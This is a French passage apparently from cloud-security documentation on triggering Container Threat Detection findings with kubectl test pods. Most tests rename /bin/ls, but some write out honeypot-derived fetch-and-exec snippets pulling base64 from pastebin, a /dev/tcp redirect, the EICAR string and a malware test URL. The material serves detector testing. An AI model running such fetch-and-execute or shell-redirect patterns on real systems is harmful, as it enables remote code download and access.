gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Créez un binaire Nginx tel que nginx et exécutez-le tout en accédant au système de fichiers /proc :

Nœud x86 :

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

Nœud ARM :

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

Cette procédure de test crée un résultat d'exécution de la faille "Cauchemar d'entrée" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exécution d'un outil d'attaque de Kubernetes

Pour déclencher un résultat d'exécution d'un outil d'attaque Kubernetes, placez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, le renomme en outil suspect (amicontained), puis l'exécute. Cette action est considérée comme suspecte, car elle simule un comportement cohérent avec une tentative d'exécution d'un outil d'attaque Kubernetes potentiel.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Déposez un fichier binaire d'outil d'attaque Kubernetes, comme amicontained, et exécutez-le :

Nœud x86 :

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Nœud ARM :

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Cette procédure de test doit créer un résultat "Exécution : exécution d'un outil d'attaque Kubernetes" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exécution d'un outil de reconnaissance local

Pour déclencher un résultat Execution: Local Reconnaissance Tool Execution, placez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, le renomme en outil suspect (linenum.sh), puis l'exécute. Cette action est considérée comme suspecte, car l'exécution du fichier binaire renommé simule un comportement cohérent avec une tentative de reconnaissance locale.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduisez un binaire d'outil de reconnaissance local tel que linenum.sh et exécutez-le :

Nœud x86 :

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

Nœud ARM :

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

Cette procédure de test doit créer un résultat d'exécution : outil de reconnaissance local que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : code Python malveillant exécuté

Pour déclencher un résultat d'exécution de code Python malveillant, vous pouvez exécuter Python dans la procédure suivante dans votre conteneur.

La procédure déploie la dernière image Python, copie le code Python qui semble malveillant, puis l'exécute. Pour déclencher une détection, le code Python doit sembler malveillant pour le détecteur.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez le script suivant dans un nouveau conteneur.

Ce code Python provient d'un honeypot. Toutefois, il a été modifié pour ne pas exécuter le binaire malveillant. L'exécution du script n'entraînera aucune activité malveillante dans votre conteneur. Le fichier binaire à l'URL référencée n'existe pas et la tentative d'accès à l'URL génère une erreur 404. Ce comportement est normal. La tentative de télécharger, décoder et exécuter un fichier binaire à l'aide d'un script intégré déclenche la détection.

Nœud x86 :

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Nœud ARM :

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Cette procédure de test crée un résultat d'exécution de code Python malveillant que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : binaire malveillant modifié exécuté

Pour déclencher un résultat d'exécution de binaire malveillant modifié, modifiez un fichier binaire malveillant dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, modifie /bin/ls en un fichier malveillant de test EICAR, puis l'exécute. L'exécution du fichier binaire est inattendue, car le fichier /bin/ls créé est modifié lors de l'exécution du conteneur en tant que fichier binaire malveillant de test EICAR. Le fichier binaire EICAR est un fichier malveillant connu selon les renseignements sur les menaces.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Déposez le fichier binaire EICAR et exécutez-le :

Nœud x86 :

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

Nœud ARM :

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

Cette procédure de test doit créer un résultat "Exécution : fichier binaire malveillant modifié exécuté" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur, Container Threat Detection filtre temporairement les résultats "Exécution : fichier binaire malveillant modifié exécuté". Pour afficher tous les résultats "Exécution : fichier binaire malveillant modifié exécuté" lors de la configuration d'un conteneur, préfixez le nom de votre conteneur ou de votre pod avec ktd-test, comme dans l'exemple.

Exécution : exécution de code Netcat à distance dans un conteneur

Pour déclencher un événement Execution: Netcat Remote Code Execution In Container, un binaire capable de communiquer sur le réseau (comme netcat lui-même ou une copie renommée d'un autre utilitaire) doit être présent et exécuté dans le conteneur. Cet exemple déploie la dernière image Ubuntu 24.04 comme base. Il copie le binaire /bin/ls et renomme cette copie en netcat (un utilitaire réseau). Ce binaire renommé est ensuite exécuté avec des arguments adaptés à l'interaction réseau. Cette activité est signalée comme suspecte, car elle imite le comportement souvent observé lors de tentatives réelles d'exécution de code à distance dans des environnements conteneurisés.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduisez un binaire d'outil de communication réseau tel que netcat et exécutez-le avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

Nœud ARM :

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

Cette procédure de test doit créer un résultat Execution: Netcat Remote Code Execution In Container que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : possible exécution de commande à distance détectée

Pour déclencher un résultat Execution: Possible Remote Command Execution Detected (Aperçu), l'exécution d'une commande ou d'un fichier binaire généralement associé à l'exécution de commandes à distance doit être observée dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme touch (ou un autre outil comme find). Ce binaire renommé est ensuite exécuté avec des arguments appropriés pour l'exécution de commandes à distance. Ce comportement est signalé comme suspect, car il peut indiquer une tentative d'établir un accès à distance non autorisé vers ou depuis le conteneur.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire tel que touch avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"

Nœud ARM :

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch -o /tmp/touch.o"

Cette procédure de test crée un résultat Execution: Possible Remote Command Execution Detected que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exécution d'un programme avec un environnement de proxy HTTP non autorisé

Pour déclencher un résultat Execution: Program Run with Disallowed HTTP Proxy Env, exécutez un programme dans un conteneur en définissant une variable d'environnement de proxy HTTP sur une valeur non autorisée. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire /bin/ls est copié et renommé /tmp/curl. Ce binaire renommé est ensuite exécuté avec une valeur non autorisée définie pour une variable d'environnement de proxy HTTP (par exemple, HTTP_PROXY, http_proxy). La combinaison de l'exécution du programme et de la présence d'un environnement de proxy HTTP non autorisé est signalée comme suspecte, car elle suggère une tentative de communication via un proxy non autorisé.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un fichier binaire compatible avec le réseau, tel que curl, avec une variable d'environnement de proxy HTTP non autorisée :

Nœud x86 :

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

Nœud ARM :

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

Cette procédure de test doit créer un résultat Execution: Program Run with Disallowed HTTP Proxy Env que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : Objet partagé OpenSSL suspect chargé

Pour déclencher un résultat Execution: Suspicious OpenSSL Shared Object Loaded, exécutez la commande openssl engine avec un argument qui est un fichier se terminant par l'extension .so. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire /bin/ls est copié et renommé /tmp/openssl. Ce binaire renommé est ensuite exécuté avec les arguments de fichier engine et .so fictifs. L'exécution de openssl engine avec un fichier .so est signalée comme suspecte, car elle imite le comportement d'un objet partagé chargé d'exécuter du code malveillant.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un fichier binaire compatible avec le réseau, tel que curl, avec une variable d'environnement de proxy HTTP non autorisée :

Nœud x86 :

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"

Nœud ARM :

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"

Cette procédure de test doit créer un résultat Execution: Suspicious OpenSSL Shared Object Loaded que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exfiltration : lancer des outils de copie de fichiers à distance dans un conteneur

Pour déclencher un résultat Exfiltration: Launch Remote File Copy Tools In Container, exécutez un outil de copie de fichiers à distance courant dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire /bin/ls est copié et renommé /tmp/rsync, puis exécuté pour récupérer un fichier à partir d'une source distante potentiellement malveillante. L'exécution d'un tel outil avec des arguments de récupération de fichiers à distance dans un conteneur est signalée comme suspecte, car elle peut indiquer une tentative de téléchargement et d'exécution de code malveillant ou d'exfiltration de données.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un outil de copie de fichiers à distance, comme rsync :

Nœud x86 :

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

Nœud ARM :

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

Cette procédure de test doit créer un résultat Exfiltration: Launch Remote File Copy Tools In Container que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Impact : Détecter les lignes de commande malveillantes

Pour déclencher un résultat Impact: Detect Malicious Cmdlines (Preview), l'exécution d'une ligne de commande avec des arguments ou des modèles malveillants connus doit être observée dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Cela implique de copier le binaire /bin/ls et de renommer cette copie ipfs. Le fichier binaire renommé est ensuite exécuté. Ce comportement est signalé comme suspect, car il peut indiquer une tentative d'exécution de code malveillant ou de contournement des contrôles de sécurité.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire tel que ipfs :

Nœud x86 :

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

Nœud ARM :

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

Cette procédure de test crée un résultat Impact: Detect Malicious Cmdlines que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Impact : supprimer des données du disque de manière groupée

Pour déclencher un résultat Impact: Remove Bulk Data From Disk, placez un fichier binaire capable de supprimer ou d'écraser des données dans votre conteneur, puis exécutez-le. Cet exemple utilise la dernière image Ubuntu 24.04. Cela implique de copier le binaire /bin/ls et de renommer cette copie shred (ou un utilitaire similaire conçu pour la suppression sécurisée de fichiers). L'exécutable renommé est ensuite exécuté. Cette action est signalée comme suspecte, car elle imite le comportement souvent observé lors de tentatives de suppression de grandes quantités de données d'un disque dans un environnement conteneurisé.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduisez un fichier binaire de suppression de fichier ou de données comme shred et exécutez-le :

Nœud x86 :

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

Nœud ARM :

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

Cette procédure de test doit créer un résultat Impact: Remove Bulk Data From Disk que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Impact : activité de minage de cryptomonnaie suspecte utilisant le protocole Stratum

Pour déclencher un résultat Impact: Suspicious crypto mining activity using the Stratum Protocol, un binaire doit être exécuté dans un conteneur avec des arguments qui ressemblent à ceux utilisés par les logiciels de minage de cryptomonnaie communiquant à l'aide du protocole Stratum. L'exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et renomme cette copie en binaire fictif (probablement pour simuler un mineur de crypto-monnaie). Ce binaire renommé est ensuite exécuté avec des arguments qui incluent stratum+tcp ou des indicateurs de protocole Stratum similaires. Cette activité est signalée comme suspecte, car elle imite les schémas de communication réseau des logiciels de minage de cryptomonnaies dans des environnements conteneurisés.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduisez un binaire utilitaire tel que curl et exécutez-le avec des arguments qui ressemblent à ceux utilisés par les logiciels de minage de cryptomonnaie communiquant à l'aide du protocole Stratum :

Nœud x86 :

tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

Nœud ARM :

tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

Cette procédure de test doit créer un résultat Impact: Suspicious crypto mining activity using the Stratum Protocol que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Vous pouvez également voir un résultat supplémentaire pour la commande bash que vous exécutez dans ce test. Ce comportement est normal. Vous pouvez ignorer le résultat supplémentaire.

Script malveillant exécuté

Pour déclencher un résultat de script malveillant exécuté, vous pouvez exécuter le script de la procédure suivante dans votre conteneur.

La procédure déploie la dernière image Ubuntu 24.04, copie un script qui semble malveillant, puis l'exécute. Pour déclencher une détection, un script doit sembler malveillant pour le détecteur.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez le script suivant dans un nouveau conteneur.

Ce script Bourne shell intégré provient d'un pot de miel. Toutefois, il a été modifié pour ne pas exécuter le fichier binaire malveillant. L'exécution du script n'entraînera donc aucune activité malveillante dans votre conteneur. Il est possible que le fichier binaire à l'URL référencée ait été supprimé. Si vous essayez d'accéder à l'URL, une erreur 404 s'affichera. Ce comportement est normal. La tentative de télécharger, décoder et exécuter un fichier binaire à l'aide d'un script intégré déclenche la détection.

Nœud x86 :

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Nœud ARM :

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Cette procédure de test crée un résultat de script malveillant exécuté que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

URL malveillante observée

Pour déclencher un résultat d'URL malveillante observée, exécutez un fichier binaire et fournissez une URL malveillante comme argument.

L'exemple suivant déploie une image Ubuntu 24.04 et exécute /bin/curl pour accéder à un exemple d'URL de logiciel malveillant à partir du service Navigation sécurisée.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez curl et fournissez une URL malveillante comme argument :

Nœud x86 :

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Nœud ARM :

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
      --restart=Never \
      --rm=true -i \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
      {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
      "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
      "value": "arm64" } ]}}' \
      "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Cette procédure de test déclenche un résultat d'URL malveillante observée que vous pouvez afficher dans Security Command Center et, si vous avez configuré Logging pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Élévation des privilèges : exécution sans fichier dans `/dev/shm`

